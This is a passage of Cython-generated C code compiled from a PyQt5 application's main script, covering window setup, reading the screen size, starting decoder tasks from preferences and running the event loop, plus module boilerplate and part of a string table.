__PYX_ERR(0, 26, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__Pyx_PyObject_SetAttrStr(__pyx_t_4, __pyx_n_s_MainWindow, __pyx_t_1) < 0) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Devel/__main__.py":27 * Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) * Globals.MainWindow = MainWindow() * Globals.Screen = app.primaryScreen() # <<<<<<<<<<<<<< * taille = Globals.Screen.size() * height = taille.height() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_app, __pyx_n_s_primaryScreen); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_10) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 27, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__Pyx_PyObject_SetAttrStr(__pyx_t_1, __pyx_n_s_Screen, __pyx_t_4) < 0) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":28 * Globals.MainWindow = MainWindow() * Globals.Screen = app.primaryScreen() * taille = Globals.Screen.size() # <<<<<<<<<<<<<< * height = taille.height() * width = taille.width() */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Screen); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_size); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_10) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_taille = __pyx_t_1; __pyx_t_1 = 0; /* "Devel/__main__.py":29 * Globals.Screen = app.primaryScreen() * taille = Globals.Screen.size() * height = taille.height() # <<<<<<<<<<<<<< * width = taille.width() * if False: */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_taille, __pyx_n_s_height); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_10) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_height = __pyx_t_1; __pyx_t_1 = 0; /* "Devel/__main__.py":30 * taille = Globals.Screen.size() * height = taille.height() * width = taille.width() # <<<<<<<<<<<<<< * if False: * Globals.MainWindow.setMaximumSize( taille ) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_taille, __pyx_n_s_width); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_10) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_width = __pyx_t_1; __pyx_t_1 = 0; /* "Devel/__main__.py":36 * Globals.MainWindow.Tab_Container.setMaximumSize(QSize( height , width - 40)) * Globals.MainWindow.Tab_Container.setGeometry( QRect(0, 0, height, width - 40)) * Globals.MainWindow.main() # <<<<<<<<<<<<<< * # Init Decoder interface * for dec in pref.decoderList: */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_main); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_10) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":38 * Globals.MainWindow.main() * # Init Decoder interface * for dec in pref.decoderList: # <<<<<<<<<<<<<< * print ( dec ) * if pref.decoderList[ dec ]['active']: */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_decoderList); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_4)) || PyTuple_CheckExact(__pyx_t_4)) { __pyx_t_1 = __pyx_t_4; __Pyx_INCREF(__pyx_t_1); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_12 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 38, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_4 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_11); __Pyx_INCREF(__pyx_t_4); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 38, __pyx_L1_error) #else __pyx_t_4 = PySequence_ITEM(__pyx_t_1, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_4 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_11); __Pyx_INCREF(__pyx_t_4); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 38, __pyx_L1_error) #else __pyx_t_4 = PySequence_ITEM(__pyx_t_1, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); #endif } } else { __pyx_t_4 = __pyx_t_12(__pyx_t_1); if (unlikely(!__pyx_t_4)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 38, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_4); } __Pyx_XDECREF_SET(__pyx_v_dec, __pyx_t_4); __pyx_t_4 = 0; /* "Devel/__main__.py":39 * # Init Decoder interface * for dec in pref.decoderList: * print ( dec ) # <<<<<<<<<<<<<< * if pref.decoderList[ dec ]['active']: * decoder_task( pref.decoderList[dec], dec ) */ __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_builtin_print, __pyx_v_dec); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Devel/__main__.py":40 * for dec in pref.decoderList: * print ( dec ) * if pref.decoderList[ dec ]['active']: # <<<<<<<<<<<<<< * decoder_task( pref.decoderList[dec], dec ) * for task in Globals.decoder: */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_decoderList); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetItem(__pyx_t_10, __pyx_v_dec); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_n_u_active); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_10); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (__pyx_t_6) { /* "Devel/__main__.py":41 * print ( dec ) * if pref.decoderList[ dec ]['active']: * decoder_task( pref.decoderList[dec], dec ) # <<<<<<<<<<<<<< * for task in Globals.decoder: * receive( task ) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_decoder_task); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_decoderList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetItem(__pyx_t_2, __pyx_v_dec); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_8, __pyx_v_dec}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_8, __pyx_v_dec}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_9, __pyx_t_8); __Pyx_INCREF(__pyx_v_dec); __Pyx_GIVEREF(__pyx_v_dec); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_9, __pyx_v_dec); __pyx_t_8 = 0; __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Devel/__main__.py":40 * for dec in pref.decoderList: * print ( dec ) * if pref.decoderList[ dec ]['active']: # <<<<<<<<<<<<<< * decoder_task( pref.decoderList[dec], dec ) * for task in Globals.decoder: */ } /* "Devel/__main__.py":38 * Globals.MainWindow.main() * # Init Decoder interface * for dec in pref.decoderList: # <<<<<<<<<<<<<< * print ( dec ) * if pref.decoderList[ dec ]['active']: */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":42 * if pref.decoderList[ dec ]['active']: * decoder_task( pref.decoderList[dec], dec ) * for task in Globals.decoder: # <<<<<<<<<<<<<< * receive( task ) * app.exec_() */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_decoder); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_10)) || PyTuple_CheckExact(__pyx_t_10)) { __pyx_t_1 = __pyx_t_10; __Pyx_INCREF(__pyx_t_1); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_12 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 42, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_10 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_11); __Pyx_INCREF(__pyx_t_10); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 42, __pyx_L1_error) #else __pyx_t_10 = PySequence_ITEM(__pyx_t_1, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_10 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_11); __Pyx_INCREF(__pyx_t_10); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 42, __pyx_L1_error) #else __pyx_t_10 = PySequence_ITEM(__pyx_t_1, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); #endif } } else { __pyx_t_10 = __pyx_t_12(__pyx_t_1); if (unlikely(!__pyx_t_10)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 42, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_10); } __Pyx_XDECREF_SET(__pyx_v_task, __pyx_t_10); __pyx_t_10 = 0; /* "Devel/__main__.py":43 * decoder_task( pref.decoderList[dec], dec ) * for task in Globals.decoder: * receive( task ) # <<<<<<<<<<<<<< * app.exec_() * */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_receive); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_10 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_task); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_task}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_task}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v_task); __Pyx_GIVEREF(__pyx_v_task); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_v_task); __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_8, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Devel/__main__.py":42 * if pref.decoderList[ dec ]['active']: * decoder_task( pref.decoderList[dec], dec ) * for task in Globals.decoder: # <<<<<<<<<<<<<< * receive( task ) * app.exec_() */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":44 * for task in Globals.decoder: * receive( task ) * app.exec_() # <<<<<<<<<<<<<< * * if __name__=='__main__': */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_app, __pyx_n_s_exec); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":18 * from Preferences import Preferences as pref * * def main(): # <<<<<<<<<<<<<< * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_10); __Pyx_AddTraceback("Devel.__main__.main", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_app); __Pyx_XDECREF(__pyx_v_taille); __Pyx_XDECREF(__pyx_v_height); __Pyx_XDECREF(__pyx_v_width); __Pyx_XDECREF(__pyx_v_dec); __Pyx_XDECREF(__pyx_v_task); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 #if CYTHON_PEP489_MULTI_PHASE_INIT static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ static int __pyx_pymod_exec___main__(PyObject* module); /*proto*/ static PyModuleDef_Slot __pyx_moduledef_slots[] = { {Py_mod_create, (void*)__pyx_pymod_create}, {Py_mod_exec, (void*)__pyx_pymod_exec___main__}, {0, NULL} }; #endif static struct PyModuleDef __pyx_moduledef = { PyModuleDef_HEAD_INIT, "__main__", 0, /* m_doc */ #if CYTHON_PEP489_MULTI_PHASE_INIT 0, /* m_size */ #else -1, /* m_size */ #endif __pyx_methods /* m_methods */, #if CYTHON_PEP489_MULTI_PHASE_INIT __pyx_moduledef_slots, /* m_slots */ #else NULL, /* m_reload */ #endif NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_n_s_Devel___main, __pyx_k_Devel___main, sizeof(__pyx_k_Devel___main), 0, 0, 1, 1}, {&__pyx_n_s_Disabled, __pyx_k_Disabled, sizeof(__pyx_k_Disabled), 0, 0, 1, 1}, {&__pyx_n_u_Fusion, __pyx_k_Fusion, sizeof(__pyx_k_Fusion), 0, 1, 0, 1}, {&__pyx_n_s_Globals, __pyx_k_Globals, sizeof(__pyx_k_Globals), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 0, 1, 1}, {&__pyx_n_s_On, __pyx_k_On, sizeof(__pyx_k_On), 0, 0, 1, 1}, {&__pyx_n_u_Oxygen, __pyx_k_Oxygen, sizeof(__pyx_k_Oxygen), 0, 1, 0, 1}, {&__pyx_n_s_Preferences, __pyx_k_Preferences, sizeof(__pyx_k_Preferences), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtCore, __pyx_k_PyQt5_QtCore, sizeof(__pyx_k_PyQt5_QtCore), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtGui, __pyx_k_PyQt5_QtGui, sizeof(__pyx_k_PyQt5_QtGui), 0, 0, 1, 1}, 